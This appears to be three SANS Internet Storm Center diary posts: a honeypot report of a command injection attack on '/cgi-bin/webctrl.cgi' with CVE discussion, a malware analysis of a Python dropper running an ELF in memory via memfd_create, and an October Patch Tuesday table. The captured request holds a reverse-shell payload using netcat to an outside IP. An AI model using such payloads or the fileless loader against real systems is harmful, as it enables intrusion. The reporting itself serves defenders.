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Starting yesterday, some of our honeypots received POST requests to "/cgi-bin/webctrl.cgi", attempting to exploit an OS command injection vulnerability:

POST /cgi-bin/webctrl.cgi
Host: [honeypot ip]:80
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Origin: http://[honeypot ip]:80
Dnt: 1
Connection: close
Referer: http://[honeypot ip]:80/cgi-bin/webctrl.cgi?action=pingconfig_page
Cookie: userName=admin; state=login; passWord=
Upgrade-Insecure-Requests: 1

action=pingconfig_update&pos_x=0&pos_y=0&login=3&configchanged=0&ip_address=&pingstatereloadflag=1&ipv6=1&ipaddress=;nc%2087.120.191.94%2031331%20-e/bin/sh;&count=3&size=64&start=Start

The vulnerability appears to be a "classic" OS command injection vulnerability. The "ipaddress" parameter is likely passed straight to "ping" in code like 

ping -c {count} -s {size} {ipaddress}

The count and size parameters are easy to validate as they are numbers. The ipaddress parameter is likely supposed to allow for hostnames, making validation a little bit trickier. I talked at length about OS command injection and how to prevent it in a video last year (see https://www.youtube.com/watch?v=7QDO3pZbum8 )

Identifying the exact vulnerability this request attempts to exploit is not so straightforward.

Searching the National Vulnerability Database (https://nvd.nist.gov) leads to two different vulnerabilities for "webctrl.cgi":

CVE-2021-40351: webctrl.cgi.elf on Christie Digital DWU850-GS V06.46 devices allows attackers to perform any desired action via a crafted query containing an unspecified Cookie header. Authentication bypass can be achieved by including an administrative cookie that the device does not validate.

CVE-2025-34033: An OS command injection vulnerability exists in the Blue Angel Software Suite running on embedded Linux devices via the ping_addr parameter in the webctrl.cgi script. The application fails to properly sanitize input before passing it to the system-level ping command.

The first one refers to a cookie header. We would have an "interesting" cookie header, but the exploited vulnerability appears to affect the "pingconfig_update" action, pointing to CVE-2025-34033. However, the detailed description states:

An OS command injection vulnerability exists in the Blue Angel Software Suite running on embedded Linux devices via the ping_addr parameter in the webctrl.cgi script. The application fails to properly sanitize input before passing it to the system-level ping command. An authenticated attacker can inject arbitrary commands by appending shell metacharacters to the ping_addr parameter in a crafted GET request to /cgi-bin/webctrl.cgi?action=pingtest_update. The command's output is reflected in the application's web interface, enabling attackers to view results directly. Default and backdoor credentials can be used to access the interface and exploit the issue. Successful exploitation results in arbitrary command execution as the root user.

Our attack uses the 'ipaddress' parameter, not the 'ping_addr' parameter. The NVD entry also suggests this requires a GET entry and an action set to 'pingtest_update', not a POST entry with an action of 'pingconfig_update'.

There are sadly many similar vulnerabilities. Many IoT/Router appliances have had vulnerabilities in their "ping" implementation in the past that looked exactly like what we have here. In 2019, an exploit was published for CVE-2025-34033 [1]. The vendor behind the software, 5VTech, appears to specialize in VoIP and similar equipment for Broadband networks [2].

There are two options at this point: (a) this is a new version of the CVE-2025-34033 vulnerability, or (b) the attacker messed up. Without a test device, this isn't easy to verify.

[1]https://www.exploit-db.com/exploits/46792
[2] http://www.5vtechnologies.com/

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

I found another piece of malware this weekend. This one looks more like a proof-of-concept because the second-stage payload is really "simple", but it attracted my attention because it uses a nice technique to obfuscate the code.

The dropper is a simple Python script (SHA256:e6f7afb92153561ff6c584fee1b04fb132ba984e8a28ca63708a88ebad15b939) with a low VT score of 4/62[1]. The script contains an embedded Base64 payload that, once decoded, will be executed. This second stage is an ELF file, indicating the script targets a Linux system.

What attracted my attention is the direct use of syscall()[2] instead of classic functions:

import ctypes
libc = ctypes.CDLL(None)
syscall = libc.syscall
[...]
fd = syscall(319, "", 1)
os.write(fd, content)

A full list of available syscalls is documented by many websites[3]. The syscall 319 is "memfd_create" and, as the name suggests, it allows creating a file descriptor in memory (read: without touching the filesystem). 

The Base64 payload is not very interesting, it's an ELF file (SHA256:52fc723f7e0c4202c97ac5bc2add2d1d3daa5c3f84f3d459a6a005a3ae380119) that will just encrypt files using a 1-byte XOR key:

[1] https://www.virustotal.com/gui/file/e6f7afb92153561ff6c584fee1b04fb132ba984e8a28ca63708a88ebad15b939/detection
[2] https://man7.org/linux/man-pages/man2/syscalls.2.html
[3] https://www.chromium.org/chromium-os/developer-library/reference/linux-constants/syscalls/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

I am experimenting today with a little bit of a cleaned-up patch overview. I removed vulnerabilities that affect Microsoft's cloud systems (but appreciate Microsoft listing them at all), as well as vulnerabilities in third-party software like open source libraries. This should leave us with Microsoft-specific on-premises vulnerabilities. This month, this leaves 157 different vulnerabilities. Eight of the vulnerabilities are rated critical.

This month, Microsoft is discontinuing support for a number of different products:

• Windows 10
• Office 2016
• Exchange Server 2016
• Office 2019
• Exchange Server 2019

Office and Exchange users are directed towards cloud and subscription offerings. For Office, you still have Office 2024 available if you would rather "own" the product. For Exchange, the Exchange Server Subscription Edition is available as of July.

Windows 10 users will have the option to sign up for "Extended Security Updates" (ESU). It has been offered as a low-cost alternative to retain security updates, and in some countries, it is offered for free.

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Elevation of Privilege Vulnerability
%%cve:2025-55247%%	No	No	–	–	Important	7.3	6.4
.NET, .NET Framework, and Visual Studio Information Disclosure Vulnerability
%%cve:2025-55248%%	No	No	–	–	Important	4.8	4.2
ASP.NET Security Feature Bypass Vulnerability
%%cve:2025-55315%%	No	No	–	–	Important	9.9	8.6
Configuration Manager Elevation of Privilege Vulnerability
%%cve:2025-55320%%	No	No	–	–	Important	6.7	5.8
%%cve:2025-59213%%	No	No	–	–	Important	8.4	7.3
Copilot Spoofing Vulnerability
%%cve:2025-59272%%	No	No	–	–	Critical	6.5	5.7
%%cve:2025-59286%%	No	No	–	–	Critical	6.5	5.7
Data Sharing Service Spoofing Vulnerability
%%cve:2025-59200%%	No	No	–	–	Important	7.7	6.7
Desktop Windows Manager Elevation of Privilege Vulnerability
%%cve:2025-55681%%	No	No	–	–	Important	7.0	6.1
DirectX Graphics Kernel Denial of Service Vulnerability
%%cve:2025-55698%%	No	No	–	–	Important	7.7	6.7
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2025-55678%%	No	No	–	–	Important	7.0	6.1
Internet Information Services (IIS) Inbox COM Objects (Global Memory) Remote Code Execution Vulnerability
%%cve:2025-59282%%	No	No	–	–	Important	7.0	6.1
JDBC Driver for SQL Server Spoofing Vulnerability
%%cve:2025-59250%%	No	No	–	–	Important	8.1	7.1
M365 Copilot Spoofing Vulnerability
%%cve:2025-59252%%	No	No	–	–	Critical	6.5	5.7
MITRE CVE-2025-54957: Integer overflow in Dolby Digital Plus audio decoder
%%cve:2025-54957%%	No	No	–	–	Important	7.0	6.1
MITRE: CVE-2025-59489 Unity Gaming Engine Editor vulnerability
%%cve:2025-59489%%	No	No	–	–	Important	8.4	8.4
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2025-48004%%	No	No	–	–	Important	7.4	6.4
%%cve:2025-59189%%	No	No	–	–	Important	7.4	6.4
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2025-58722%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59254%%	No	No	–	–	Important	7.8	6.8
Microsoft Defender for Linux Denial of Service Vulnerability
%%cve:2025-59497%%	No	No	–	–	Important	7.0	6.1
Microsoft Excel Information Disclosure Vulnerability
%%cve:2025-59235%%	No	No	–	–	Important	7.1	6.2
%%cve:2025-59232%%	No	No	–	–	Important	7.1	6.2
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2025-59231%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59233%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59236%%	No	No	–	–	Critical	8.4	7.3
%%cve:2025-59243%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59223%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59224%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59225%%	No	No	–	–	Important	7.8	6.8
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2025-53782%%	No	No	–	–	Important	8.4	7.3
%%cve:2025-59249%%	No	No	–	–	Important	8.8	7.7
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2025-59248%%	No	No	–	–	Important	7.5	6.5
Microsoft Failover Cluster Information Disclosure Vulnerability
%%cve:2025-47979%%	No	No	–	–	Important	5.5	4.8
%%cve:2025-59188%%	No	No	–	–	Important	5.5	4.8
Microsoft Failover Cluster Virtual Driver Information Disclosure Vulnerability
%%cve:2025-59260%%	No	No	–	–	Important	5.5	4.8
Microsoft Graphics Component Denial of Service Vulnerability
%%cve:2025-59195%%	No	No	–	–	Important	7.0	6.1
Microsoft Graphics Component Elevation of Privilege Vulnerability
%%cve:2025-49708%%	No	No	–	–	Critical	9.9	8.6
Microsoft Office Denial of Service Vulnerability
%%cve:2025-59229%%	No	No	–	–	Important	5.5	4.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2025-59234%%	No	No	–	–	Critical	7.8	6.8
%%cve:2025-59227%%	No	No	–	–	Critical	7.8	6.8
Microsoft Office Visio Remote Code Execution Vulnerability
%%cve:2025-59226%%	No	No	–	–	Important	7.8	6.8
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2025-59238%%	No	No	–	–	Important	7.8	6.8
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2025-59228%%	No	No	–	–	Important	8.8	7.7
%%cve:2025-59237%%	No	No	–	–	Important	8.8	7.7
Microsoft Windows File Explorer Spoofing Vulnerability
%%cve:2025-58739%%	No	No	–	–	Important	6.5	5.7
%%cve:2025-59214%%	No	No	–	–	Important	6.5	5.7
Microsoft Word Remote Code Execution Vulnerability
%%cve:2025-59221%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-59222%%	No	No	–	–	Important	7.8	6.8
NTLM Hash Disclosure Spoofing Vulnerability
%%cve:2025-59185%%	No	No	–	–	Important	6.5	5.7
%%cve:2025-59244%%	No	No	–	–	Important	6.5	5.7
Network Connection Status Indicator (NCSI) Elevation of Privilege Vulnerability
%%cve:2025-59201%%	No	No	–	–	Important	7.8	6.8
NtQueryInformation Token function (ntifs.h) Elevation of Privilege Vulnerability
%%cve:2025-55696%%	No	No	–	–	Important	7.8	6.8
Playwright Spoofing Vulnerability
%%cve:2025-59288%%	No	No	–	–	Moderate	5.3	4.9
PowerShell Elevation of Privilege Vulnerability
%%cve:2025-25004%%	No	No	–	–	Important	7.3	6.4
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2025-58718%%	No	No	–	–	Important	8.8	7.7
Remote Desktop Protocol Remote Code Execution Vulnerability
%%cve:2025-58737%%	No	No	–	–	Important	7.0	6.1
Remote Procedure Call Denial of Service Vulnerability
%%cve:2025-59502%%	No	No	–	–	Moderate	7.5	6.5
Software Protection Platform (SPP) Elevation of Privilege Vulnerability
%%cve:2025-59199%%	No	No	–	–	Important	7.8	6.8
Storage Spaces Direct Information Disclosure Vulnerability
%%cve:2025-59184%%	No	No	–	–	Important	5.5	4.8
Storport.sys Driver Elevation of Privilege Vulnerability
%%cve:2025-59192%%	No	No	–	–	Important	7.8	6.8
Virtual Secure Mode Spoofing Vulnerability
%%cve:2025-48813%%	No	No	–	–	Important	6.3	5.5
Visual Studio Elevation of Privilege Vulnerability
%%cve:2025-55240%%	No	No	–	–	Important	7.3	6.4
Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability
%%cve:2025-59258%%	No	No	–	–	Important	6.2	5.4
Windows Agere Modem Driver Elevation of Privilege Vulnerability
%%cve:2025-24990%%	No	Yes	–	–	Important	7.8	7.2
%%cve:2025-24052%%	Yes	No	–	–	Important	7.8	7.0
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2025-59242%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-58714%%	No	No	–	–	Important	7.8	6.8
Windows Authentication Elevation of Privilege Vulnerability
%%cve:2025-55701%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59277%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59275%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59278%%	No	No	–	–	Important	7.8	6.8
Windows BitLocker Security Feature Bypass Vulnerability
%%cve:2025-55333%%	No	No	–	–	Important	6.1	5.3
%%cve:2025-55338%%	No	No	–	–	Important	6.1	5.3
%%cve:2025-55330%%	No	No	–	–	Important	6.1	5.3
%%cve:2025-55332%%	No	No	–	–	Important	6.1	5.3
%%cve:2025-55337%%	No	No	–	–	Important	6.1	5.3
%%cve:2025-55682%%	No	No	–	–	Important	6.1	5.3
Windows Bluetooth Service Elevation of Privilege Vulnerability
%%cve:2025-58728%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59290%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59289%%	No	No	–	–	Important	7.0	6.1
Windows COM+ Event System Service Elevation of Privilege Vulnerability
%%cve:2025-58725%%	No	No	–	–	Important	7.0	6.1
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2025-55680%%	No	No	–	–	Important	7.8	6.8
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2025-55336%%	No	No	–	–	Important	5.5	4.8
Windows Connected Devices Platform Service (Cdpsvc) Remote Code Execution Vulnerability
%%cve:2025-55326%%	No	No	–	–	Important	7.5	6.5
Windows Connected Devices Platform Service Elevation of Privilege Vulnerability
%%cve:2025-58719%%	No	No	–	–	Important	4.7	4.1
%%cve:2025-58727%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-59191%%	No	No	–	–	Important	7.8	6.8
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2025-58720%%	No	No	–	–	Important	7.8	6.8
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2025-59255%%	No	No	–	–	Important	7.8	6.8
Windows Device Association Broker Service Elevation of Privilege Vulnerability
%%cve:2025-50174%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-55677%%	No	No	–	–	Important	7.8	6.8
Windows Digital Media Elevation of Privilege Vulnerability
%%cve:2025-53150%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-50175%%	No	No	–	–	Important	7.8	6.8
Windows ETL Channel Information Disclosure Vulnerability
%%cve:2025-59197%%	No	No	–	–	Important	5.5	4.8
Windows Error Reporting Service Elevation of Privilege Vulnerability
%%cve:2025-55692%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-55694%%	No	No	–	–	Important	7.8	6.8
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2025-59205%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-59261%%	No	No	–	–	Important	7.0	6.1
Windows Health and Optimized Experiences Elevation of Privilege Vulnerability
%%cve:2025-59241%%	No	No	–	–	Important	7.8	6.8
Windows Hello Security Feature Bypass Vulnerability
%%cve:2025-53139%%	No	No	–	–	Important	7.7	6.7
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2025-55328%%	No	No	–	–	Important	7.8	6.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2025-59207%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-50152%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-55693%%	No	No	–	–	Important	7.4	6.4
%%cve:2025-59187%%	No	No	–	–	Important	7.8	6.8
%%cve:2025-59194%%	No	No	–	–	Important	7.0	6.1
Windows Kernel Information Disclosure Vulnerability
%%cve:2025-59186%%	No	No	–	–	Important	5.5	4.8
%%cve:2025-55679%%	No	No	–	–	Important	5.1	4.5
%%cve:2025-55683%%	No	No	–	–	Important	5.5	4.8
%%cve:2025-55699%%	No	No	–	–	Important	5.5	4.8
Windows Kernel Security Feature Bypass Vulnerability
%%cve:2025-55334%%	No	No	–	–	Important	6.2	5.4
Windows Local Session Manager (LSM) Denial of Service Vulnerability
%%cve:2025-59257%%	No	No	–	–	Important	6.5	5.7
%%cve:2025-59259%%	No	No	–	–	Important	6.5	5.7
%%cve:2025-58729%%	No	No	–	–	Important	6.5	5.7
Windows Management Services Elevation of Privilege Vulnerability
%%cve:2025-59193%%	No	No	–	–	Important	7.0	6.1
Windows Management Services Information Disclosure Vulnerability
%%cve:2025-59204%%	No	No	–	–	Important	5.5	4.8
Windows MapUrlToZone Information Disclosure Vulnerability
%%cve:2025-59208%%	No	No	–	–	Important	7.1	6.2
Windows NTFS Elevation of Privilege Vulnerability
%%cve:2025-55335%%	No	No	–	–	Important	7.4	6.4
Windows NTLM Spoofing Vulnerability
%%cve:2025-59284%%	No	No	–	–	Important	3.3	2.9
Windows Network Driver Interface Specification Driver Elevation of Privilege Vulnerability
%%cve:2025-55339%%	No	No	–	–	Important	7.8	6.8
Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability
%%cve:2025-55685%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-55686%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-55689%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-55331%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-55684%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-55688%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-55690%%	No	No	–	–	Important	7.0	6.1
%%cve:2025-55691%%	No	No	–	–	Important	7.0	6.1
Windows Push Notification Information Disclosure Vulnerability
%%cve:2025-59211%%	No	No	–	–	Important	5.5	4.8
%%cve:2025-59209%%	No	No	–	–	Important	5.5	4.8
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
%%cve:2025-59230%%	No	Yes	–	–	Important	7.8	7.2
Windows Remote Desktop Protocol Security Feature Bypass
%%cve:2025-55340%%	No	No	–	–	Important	7.0	6.1
Windows Remote Desktop Services Elevation of Privilege Vulnerability
%%cve:2025-59202%%	No	No	–	–	Important	7.0	6.1
Windows Resilient File System (ReFS) Deduplication Service Elevation of Privilege Vulnerability
%%cve:2025-59206%%	No	No	–	–	Important	7.4	6.4
%%cve:2025-59210%%	No	No	–	–	Important	7.4	6.4
Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability
%%cve:2025-55687%%	No	No	–	–	Important	7.4	6.4
Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability
%%cve:2025-55700%%	No	No	–	–	Important	6.5	5.7
%%cve:2025-58717%%	No	No	–	–	Important	6.5	5.7
Windows SMB Client Tampering Vulnerability
%%cve:2025-59280%%	No	No	–	–	Important	3.1	2.7
Windows SMB Server Elevation of Privilege Vulnerability
%%cve:2025-58726%%	No	No	–	–	Important	7.5	6.5
Windows Search Service Denial of Service Vulnerability
%%cve:2025-59190%%	No	No	–	–	Important	5.5	4.8
%%cve:2025-59198%%	No	No	–	–	Important	5.0	4.4
%%cve:2025-59253%%	No	No	–	–	Important	5.5	4.8
Windows Server Update Service (WSUS) Remote Code Execution Vulnerability
%%cve:2025-59287%%	No	No	–	–	Critical	9.8	8.5
Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability
%%cve:2025-59196%%	No	No	–	–	Important	7.0	6.1
Windows Speech Runtime Elevation of Privilege Vulnerability
%%cve:2025-58715%%	No	No	–	–	Important	8.8	7.7
%%cve:2025-58716%%	No	No	–	–	Important	8.8	7.7
Windows State Repository API Server File Information Disclosure Vulnerability
%%cve:2025-59203%%	No	No	–	–	Important	5.5	4.8
Windows Storage Management Provider Information Disclosure Vulnerability
%%cve:2025-55325%%	No	No	–	–	Important	5.5	4.8
Windows Taskbar Live Preview Information Disclosure Vulnerability
%%cve:2025-59294%%	No	No	–	–	Important	2.1	1.9
Windows URL Parsing Remote Code Execution Vulnerability
%%cve:2025-59295%%	No	No	–	–	Important	8.8	7.7
Windows USB Video Class System Driver Information Disclosure Vulnerability
%%cve:2025-55676%%	No	No	–	–	Important	5.5	4.8
Windows Virtualization-Based Security (VBS) Enclave Elevation of Privilege Vulnerability
%%cve:2025-53717%%	No	No	–	–	Important	7.0	6.1
Windows WLAN AutoConfig Service Information Disclosure Vulnerability
%%cve:2025-55695%%	No	No	–	–	Important	5.5	4.8
Xbox Gaming Services Elevation of Privilege Vulnerability
%%cve:2025-59281%%	No	No	–	–	Important	7.8	6.8
Xbox IStorageService Elevation of Privilege Vulnerability
%%cve:2025-53768%%	No	No	–	–	Important	7.8	6.8

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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